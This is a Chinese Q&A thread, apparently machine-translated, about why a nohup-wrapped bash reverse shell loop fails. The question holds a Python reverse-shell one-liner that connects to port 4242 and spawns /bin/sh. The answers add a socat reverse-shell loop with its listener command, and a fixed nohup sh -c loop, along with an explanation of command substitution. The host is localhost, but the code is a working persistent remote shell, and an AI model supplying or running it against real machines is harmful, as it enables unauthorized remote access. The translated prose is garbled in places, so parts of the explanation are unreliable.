我正在尝试编写一个小型 bash 反向 shell,但不幸的是我的参数无法正确解析。具体来说,当 while 循环按预期执行时, nohup 命令将被忽略。为什么会这样?
nohup "$(while :; do python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'; sleep 5; done)" >/dev/null 2>&1 &
答案1
socat
如果您不将所有内容都放在一行中,则使用 会更容易,并且也更容易阅读:
nohup sh -c '
while true; do
socat tcp:localhost:4242 exec:/bin/sh,pty,stderr,setsid,ctty
sleep 5
done'
跑步:
socat tcp-listen:4242,reuseaddr -,raw,echo=0
在另一个终端中应在 5 秒内显示 shell 提示符。
你的nohup "$(while...)"
没有意义,因为它意味着要求nohup
执行其名称/路径是该无限循环的输出的命令,但仅在 while 循环返回之后。
答案2
nohup
将运行结果你执行中的代码$( … )
。
让我解释...
考虑这种情况:
a=$(date)
该date
命令执行并生成诸如Thu, 25 Jan 2024 23:20:48
*1 之类的输出。该文本被插入到该行中,有效地导致:
a='Thu, 25 Jan 2024 23:20:48'
然后执行分配。
现在考虑一下:
a=$(echo hello; sleep 300; echo world)
执行里面的命令$( … )
,产生结果hello {newline} world
,但需要五分钟时间。这段时间任务还没有开始。最后我们得到了这条线的等价物
a='hello
world'
并且可以执行分配。
现在让我们将其应用到您的情况中。
nohup "$(while :; do python3 …; done)" >/dev/null 2>&1
首先$( … )
执行里面的代码。不幸的是它永远不会结束。如果事情就此结束的话结果然后运行代码的信息将被传递到nohup
.但由于它永远不会结束,因此nohup
不会被执行。
试试这个:
nohup sh -c "while :; do python3 'import…'; done" >/dev/null 2>&1 &
请注意,Python 代码中使用的双引号必须进行转义,以便\"
外壳 ( sh
) 不会将它们与起始"
.
1* 实际上,date
返回一个以换行符结尾的值。但是 shell 在插值时喜欢sh
并bash
删除尾随换行符,因为这(通常)是预期的